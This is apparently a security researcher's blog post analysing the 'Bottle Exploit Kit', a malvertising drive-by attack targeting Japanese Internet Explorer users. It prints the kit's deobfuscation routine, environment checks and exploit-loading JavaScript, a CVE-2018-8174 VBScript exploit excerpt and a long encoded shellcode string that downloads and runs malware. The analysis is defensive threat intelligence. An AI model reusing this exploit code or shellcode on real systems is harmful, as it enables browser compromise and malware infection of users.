Say hello to Bottle Exploit Kit targeting Japan


On December 11, 2019, we were strolling through ad-networks. As before, we observed RIG, Fallout and Underminer Exploit Kit, but observed other interesting Drive-by Download attack. We call it “Bottle Exploit Kit”. BottleEK targets only Japanese users. According to our research, BottleEK has been active at least in September 2019. This time we introduce BottleEK.

Sample traffic data is here.


We have confirmed that we are redirected to BottleEK by malvertising. When you are redirected from ad-network to BottleEK, the landing page html is loaded first. The landing page loads two JavaScipt files.

<!doctype html>
<html lang="ja">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<link href="file/style.css" rel="stylesheet" type="text/css"/>
<body style="background-color: #F4F4F4;font-family:MS PGothic,Arial,Hiragino Kaku Gothic ProN,Osaka,sans-serif">
<div id="main" class="main"></div>
<script type="text/javascript" src="file/ajax.min.js"></script>
<script type="text/javascript" src="file/main.js"></script>

“ajax.min.js” is a JavaScript file for communication. It is used once to get the exploit code URL. Since it’s not important, we will omit it this time. Please remember only this code.

function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") > -1 ? "&" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)

Next, let’s read “main.js”. This file contains obfuscation, debug detection and environment detection. Reading everything is not easy… First, a large array is defined. This looks like a Base64 string, but base64_decode doesn’t make any meaningful data. To decrypt this, you need to read two processes.

var _0x1d5a = ['bsK+BcOlwpXCmg==', 'OsKhwoIKb8OOwrHDsMOvEcOHw4Fn', 'ZMKfw6Fqw5R0', 'T1xqw70=', ...

The first process is to swap the order of the arrays. This is code like this:

var _0x5906e4 = function (_0x35d916) {
    while (--_0x35d916) {

/* --- Snip --- */

var _0x29fbca = {
    'getCookie': function (_0xa8b74, _0x1731ce) {
        _0xa8b74 = _0xa8b74 || function (_0x1e7379) {
            return _0x1e7379;
        var _0x36cf86 = _0xa8b74(new RegExp('(?:^|;\x20)' + _0x1731ce['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
        var _0x3ff1ff = function (_0xf3a699, _0x2d4894) {
        _0x3ff1ff(_0x5906e4, _0x3c6c93);
        return _0x36cf86 ? decodeURIComponent(_0x36cf86[0x1]) : undefined;

_0x29fbca['getCookie'](null, 'counter');

Next, the array data with the order changed is decoded. This is the code for decryption. A combination of Base64, URL Encode and RC4.

var decode = function (enc_data, key) {
    var a = [],
        b = 0,
        c, d = '',
        e = '';

    enc_data = atob(enc_data);
    for (var i = 0, length = enc_data['length']; i < length; i++) {
        e += '%' + ('00' + enc_data['charCodeAt'](i)['toString'](16))['slice'](-2);
    enc_data = decodeURIComponent(e);
    for (var i = 0; i < 256; i++) {
        a[i] = i;

    /* RC4 */
    for (i = 0; i < 256; i++) {
        b = (b + a[i] + key['charCodeAt'](i % key['length'])) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;

    i = 0;
    b = 0;
    for (var j = 0; j < enc_data['length']; j++) {
        i = (i + 1) % 256;
        b = (b + a[i]) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;
        d += String['fromCharCode'](enc_data['charCodeAt'](j) ^ a[(a[i] + a[b]) % 256]);

    return d;

This decrypts the array data and executes the main process.

First, check that username is set in the cookie. If it is set, processing ends. If not, set cookie username=bingv and the attack will continue.

var user = getCookie('username');
if (user == '') {
    setCookie('username', 'bingv', 0x1);

Next, check user environment. This is one of the most characteristic codes of the Bottle Exploit Kit.

var chk = checkEnv();

checkEnv gets the browser language setting. If it is not Japanese, display a dummy html and end.

function checkEnv() {
    var _0x4db42a = (navigator['language'] || navigator['browserLanguage'])['toLowerCase']();
    if (_0x4db42a['indexOf']('ja') == -0x1) return 0x0;
document['getElementById']('main')['innerHTML'] = "<h1>Customer Login</h1><form><input type='text'value='User'><input type='password'><input type='submit'value='Submit'></form>";

And, browser information is acquired by User-Agent. If it is not Internet Explorer, display a dummy html and end in the same way.

var _0x100f15 = navigator['userAgent'];
var _0xed2c96 = _0x100f15['indexOf']('compatible') > -0x1 && _0x100f15['indexOf']('MSIE') > -0x1;
var _0x4d34a9 = _0x100f15['indexOf']('Trident') > -0x1 && _0x100f15['indexOf']('rv:11.0') > -0x1;
if (_0xed2c96) {
    if (_0x2956('0x43', '^eQ7') !== _0x2956('0x44', '4@%$')) {
        var _0x41dde8 = new RegExp("MSIE (\d+\.\d+);");
        var _0x50d3cb = parseFloat(RegExp['$1']);
        return _0x50d3cb;
    } else {
        _0x53ccba(this, function () {
            var _0x2e6966 = new RegExp("function *\( *\)");
            var _0xdc7ac8 = new RegExp("\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))", 'i');
            var _0x4fc827 = _0x118083('init');
            if (!_0x2e6966['test'](_0x4fc827 + 'chain') || !_0xdc7ac8['test'](_0x4fc827 + 'input')) {
            } else {

If these checks are passed, the image is displayed. The 1.gif used at this time is an image of the bottle. The str1 displayed below the image is Japanese.

var str1 = '読み込み中。 。 。 お待ちください&nbsp;&nbsp;&nbsp;&nbsp;';

/* --- Snip --- */

if (chk > 0x0) {
    var myimg = document['createElement']('img');
    myimg['setAttribute']('id', 'ldimg');
    myimg['setAttribute']('style', 'position:absolute;width:40%;left:30%;height:40%; top:20%; z-index: 10;display:inline');
    myimg['setAttribute']('src', 'file/1.gif');
    var myp = document['createElement']('p');
    myp['setAttribute']('id', 'ldpr');
    myp['setAttribute']('style', 'font-size:30px; position:absolute; left:5%; text-align:center; height:10%; top:60%; width:90%; z-index:10;');
    for (var i = 0x0; i <= LOAD_SECOND; i++) {
        var progress = Math['round'](i * 0x64 / LOAD_SECOND);
        (function (_0x368e63) {
            setTimeout(function () {
                change_progress(_0x368e63, str1);
            }, i * 0x3e8);

And it gets the exploit code. Three parameters are used at that time.

  1. Internet Explorer version
  2. is 64bit
  3. Adobe Flash Player version
var is64 = 0x0;
if (navigator['platform']['indexOf']('64') != -0x1) is64 = 0x1;
var fls = flashChecker();
    'type': 'GET',
    'dataType': 'jsonp',
    'timeOut': 0x2710,
    'url': '/conn.php?callback=?',
    'data': {
        'data1': chk,
        'data2': is64,
        'data3': fls['v']

When send this request, use the ajax.min.js you read earlier. Therefore, callback is added at the end.

function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") > -1 ? "&" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)

If successful, read the exploit code using the response data. When exploiting the vulnerability of Internet Explorer, read file/vbs.vbs, and when exploiting the vulnerability of Adobe Flash Player, read file/swf.swf.

'success': function (_0x2ad29a) {
    if (_0x2ad29a[0x1] != '') {
        if (_0x2956('0x69', '904!') !== _0x2956('0x6a', 'mNBB')) {
            var _0x5517a0 = document['createElement']('embed');
            _0x5517a0['src'] = _0x2ad29a[0x1];
            _0x5517a0['setAttribute']('style', 'width:1px; height:1px');
        } else {
            var _0x33b1ee = cname + '=';
            var _0x3a1f81 = document['cookie']['split'](';');
            for (var _0x2e7aac = 0x0; _0x2e7aac < _0x3a1f81['length']; _0x2e7aac++) {
                var _0x446c09 = _0x3a1f81[_0x2e7aac];
                while (_0x446c09['charAt'](0x0) == ' ') _0x446c09 = _0x446c09['substring'](0x1);
                if (_0x446c09['indexOf'](_0x33b1ee) != -0x1) return _0x446c09['substring'](_0x33b1ee['length'], _0x446c09['length']);
            return '';
    } else if (_0x2ad29a[0x0] != '') {
        var _0x5a39f4 = document['createElement']('script');
        _0x5a39f4['type'] = 'text/vbscript';
        _0x5a39f4['src'] = _0x2ad29a[0x0];

vbs.vbs exploits CVE-2018-8174 and swf.swf exploits CVE-2018-15982.


vbs.vbs is a simple string encoding. Decoding this will give you almost the same code as the PoC.

Sub StartExploit
SetMemValue GetShellcode()
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
SetMemValue ExpandWithVirtualProtect(lIlll)
End Sub

This is the shellcode that is running.

Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%u4cbf%u73d0%udb2c%ud9c5%u2474%u5bf4%uc92b%uc3b1%u7b31%u0313%u137b%uc383%u3248%uc586%ub3ff%u1669%u129b%u1659%u5563%ud61f%u581b%u9794%ue9d7%u03ea%ued6c%u2b61%uaef9%uef65%ueece%ue36d%u2f59%ufcf2%uaf99%u42fa%uac50%uf9c5%ub9e8%u3441%u5399%u928a%u40ea%uf18e%uabfc%ub143%u91b1%uc263%u73c0%ua49c%u7ceb%u2d28%u4338%uee19%u04b5%uc8a6%ub29d%u5eaa%u48ee%ua716%u7468%ua355%u8963%uc79e%u923b%u5373%u8ee3%ue825%uef63%uae42%uec9b%u2c9b%uf16c%u7bfc%ubb1b%uf5f2%ub84e%u407a%u7b84%u3dbf%uf727%u3e7a%u132c%ubd03%uf4e5%u3d85%ufaf6%u84a1%u7100%uf9db%u8555%u4068%u4ea9%ubf2a%u5223%u1b5f%ue940%u64ac%u57cd%u1051%udcdd%u5fad%u25de%u08fd%ufc1f%u5df2%uf0d3%ua6bd%u85a8%u568f%u9ea5%u948e%u177e%u62d5%u6d0b%ucc2e%ua750%ua40d%udbed%uafc3%u23f1%u2fe4%u0ea9%u3bf4%u5177%u067d%uda7b%u7538%u1e4a%u0e97%u22a0%u1df4%u736b%uf652%u8450%uf9a3%u8bed%uc0dd%u7e05%ucce0%u860d%u32e3%u0232%ua7c3%ueacc%ubcc2%ufc37%u3c02%u0238%u3d04%uf9b0%uc72c%u1cd4%u37d0%ua2db%ud8ea%uebae%u89da%ub539%ud51e%ub3e9%ud55a%u8284%u7550%u5c69%ufc9d%u99d0%ub810%u099a%u13d4%u551e%u151c%u5d5b%u539e%u756b%u6290%u7a94%uadac%uc3e3%u2d5b%ud385%u35b3%u1b97%u49bc%u6f51%u4a3e%u1962%u3bcd%ufeda%uef25%u011c%uef4a%u75d6%ue8c8%ufce9%u8023%u0d53%u56ac%uf2a5%ua8d3%u866f%ua351%uee70%uc2bd%u1fc8%u6056%ue02a%u7659%u94e4%u765d%ub77e%ucf28%u2f6a%u2e8f%u506d%uf82f%ue918%ufacc%ud66c%u9c04%ue96e%u622a%u9fb8%ubd93%ue93b%u563f%ue848%u59bf%ud1cd%uf900%u9f58%u5ba4%ue901%u8b66%u169f%ub397%ue836%u4c68%ubcc8%ua0e3%ud249%u39b4%u2b49%u6c66%uc31e%u6e75%uec5f%u7b39%u2d8a%u0946%u5680%u54cb%u6b20%u0608%udfe3%ue269%u88cb%u9901%u8fbb%uadaf%u3f01%u5e1f%u7ab2%uec8f%uf355%ud601%u2fe0%ub634%uaa9e%u0300%u5986%ue7ea%u6545%u2bb1%u1ad0%ub714%u98e5%u5888%u0d84%u602a%ub613%u00c3%u18f5%u98db%u15e1%u528b%u12ce%u7f0e%uf857%u4eac%u5f1f%u4f3f%u7c49%ue640%u4155%u0709%ub995%u0200%u79fd%u3f2c%u86fd%u64e7%u0c16%u6160%uede9%ue470%u2d6c%u098e%ufe91%ub0e2%uaf26%u6a03%uc2b0%u67b9%u5190%u48c4%u95ee%u1838%u2fc9%uea33%ucca3%ucad3%ueb0e%ua64b%u25e4%u0d53%u5ff8%ueb23%u5f00%uff85%ucde8%uffd4%u7c17%uc865%ub8e4%u4127%u82af%u0137%u583f%u2f9b%u9eba%ucfe5%u4e3b%u7597%u3f0b%u302c%u934f%uebcd%u915b%u78f2%uf169%u8b4a%u016d%uda54%uea49%ub067%u691c%uc9b7%u8de1%uc968%u6a4b%u6bd6%u4328%u5f2b%ueb9a%ufa15%u135a%u8446%u4bf2%u3644%uf808%u2d83%ua621%u871f%u46da%u4625%u4dd5%uae62%u62cf%u23b9%u8f5f%u0d88%u0f0c%uce77%u67c1%u4614%u0844%u868d%u84e2%ud721%u3dbd%ubed4%udb2f%u6f5c%u4fcb%u6ff1%ue246%u1d65%u6c07%ub958%u1cbb%u15a4%u9006%u95f4" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
End Function


swf.swf is almost the same as PoC.

   import com.adobe.tvsdk.mediacore.metadata.Metadata;
   import flash.display.Sprite;
   import flash.system.Capabilities;
   import flash.utils.ByteArray;
   import flash.utils.Endian;
   public class Main extends Sprite

The executed shellcode is the same as CVE-2018-8174.


The shellcode downloads and executes malware just like other EKs. The malware is not encrypted.

The shellcode was encoded by Shikata Ga Nai Encoder.

The decoded shellcode is a simple code that downloads and executes a malwre. The list of APIs to use is as follows:

The API hashing algorithm is imul83hAdd.

Interestingly, the URL string of the download destination was created as a mutex.

The malware is created as svchost.exe in% temp% and then executed with the WinExe function.


The malware is probably unique. We have never seen this elsewhere. According to my friend @VK_Intel, this could be a stealer targeting Japan.

These are the characteristics of this malware.


Bottle Exploit Kit is an exploit kit targeting Japan. It’s not as sophisticated as the Exploit Kit, but JavaScript is elaborate. It has been observed for at least three months ago, and its activity continues today. The vulnerabilities it exploits are the same as other EKs. The same should be noted. Keep an eye on trend of it.

Many people helped with our research. Special thanks to @kafeine and @VK_Intel.